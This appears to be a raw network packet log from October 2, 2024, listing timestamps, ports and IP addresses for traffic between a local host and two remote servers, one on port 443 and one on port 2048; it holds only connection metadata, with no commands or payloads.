Oct 2, 2024 05:23:16.258553028 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.258564949 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.258564949 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.258591890 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.258649111 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.258658886 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.259457111 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.259479046 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.259545088 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.259545088 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.259552956 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.259602070 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.259610891 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.259614944 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.260370970 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.260389090 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.260437965 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.260443926 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.260456085 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.260479927 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.261271954 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.261456013 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.261467934 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.310319901 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.327702045 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.345689058 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.345719099 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.345782995 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.345796108 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.345843077 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.345885992 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.345905066 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.345911026 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.345932961 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.346416950 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.346489906 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.346498966 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.346513987 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.346559048 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.346565962 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.347361088 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.347408056 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.347419024 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.347429037 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.347453117 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.347949028 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.348018885 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.348079920 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.348088980 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.348113060 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.348164082 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.348171949 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.348253965 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.348965883 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.349004984 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.349026918 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.349035978 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.349057913 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.349085093 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.349769115 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.349819899 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.349879026 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.349925995 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.415261984 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.415441036 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.433945894 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434060097 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434077978 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434103012 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.434144974 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434154987 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.434170961 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434202909 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.434210062 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434276104 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.434283972 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434345007 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.434353113 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434423923 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.434432030 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434441090 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434488058 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434506893 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.434514046 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434570074 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.434593916 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.434653997 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434698105 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.434735060 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.434787035 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.435148001 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.435209990 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.435214996 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.435225964 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.435264111 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.435410023 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.435461998 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.435470104 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.435481071 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.435523033 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.436072111 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.436135054 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.436158895 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.436204910 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.436316967 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.436364889 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.436367035 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.436378002 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.436427116 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.436958075 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.437011003 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.437063932 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.437108040 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.437208891 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.437239885 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.437253952 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.437261105 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.437308073 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.437328100 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.437331915 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.437338114 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.437376976 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.437993050 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.438049078 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.438051939 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.438065052 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.438102007 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.438103914 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.438302040 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.438402891 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:18.150784969 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:18.155795097 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:18.155898094 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:18.751951933 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:18.794682026 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:18.968471050 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:18.973757029 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.190135956 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.191606045 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.196402073 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.398140907 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.398166895 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.398185968 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.398205996 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.398217916 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.398257971 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.398284912 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.509255886 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.509283066 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.509294987 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.509305954 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.509320974 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.509354115 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.509377956 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.509563923 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.509587049 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.509625912 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.509639025 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.509639025 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.509649992 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.509737015 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.619869947 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.619889975 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.619908094 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.619920015 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.619930029 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.619983912 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.619985104 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.620202065 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.620213985 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.620224953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.620237112 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.620423079 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.620423079 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.620835066 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.620873928 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.621017933 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.621028900 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.621040106 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.621088982 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.621088982 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.621088982 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.621131897 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.621145964 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.621238947 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.621958971 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.621973038 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.621985912 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.622011900 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.622024059 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.622251987 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.622251987 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.622776031 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.623167992 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.730845928 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.730885029 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.730895996 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.730902910 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.730916023 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.730930090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.730964899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.730977058 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.730983973 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.730988979 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.731014967 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.731089115 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.731745005 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.731767893 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.731807947 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.731842995 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.731842995 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.732028008 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.732048988 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.732059956 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.732093096 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.732161045 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.732161045 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.732511044 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.732553959 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.732564926 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.732640982 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.732641935 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.732652903 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.732665062 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.732677937 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.732686996 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.732786894 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.733477116 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.733493090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.733505011 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.733541012 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.733549118 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.733549118 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.733552933 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.733566046 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.733597040 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.733616114 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.733640909 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.734332085 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.734374046 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.734385014 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.734431028 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.734441996 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.734472036 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.734472036 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.734484911 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.734498978 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.734786034 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.735280991 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.735295057 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.735313892 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.735354900 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.735354900 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.842478037 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.842494011 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.842505932 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.842525005 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.842535973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.842573881 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.842629910 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.842660904 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.842684984 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.842696905 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.842720985 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.842762947 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.842775106 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.842787981 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.842823982 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.842823982 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.843092918 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843141079 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843153000 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843209982 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843220949 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843233109 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843244076 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843267918 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.843267918 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.843267918 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.843282938 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.843303919 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843770981 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843820095 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843831062 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843832016 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.843907118 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843918085 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843930006 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843941927 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.843943119 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.843967915 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.844001055 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.844022036 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844033957 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844047070 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844058990 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844084024 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.844223022 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.844676971 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844690084 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844702005 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844731092 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.844753027 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844764948 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844775915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844789028 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844875097 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844886065 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844897032 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844908953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.844916105 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.844916105 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.844916105 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.845565081 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.845577002 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.845592976 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.845607996 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.845607996 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.845666885 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.845676899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.845689058 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.845701933 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.845721006 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.845721006 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:19.845767021 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.845777988 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.845789909 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:19.845801115 CEST	2048	49704	109.248.151.156	192.168.2.10
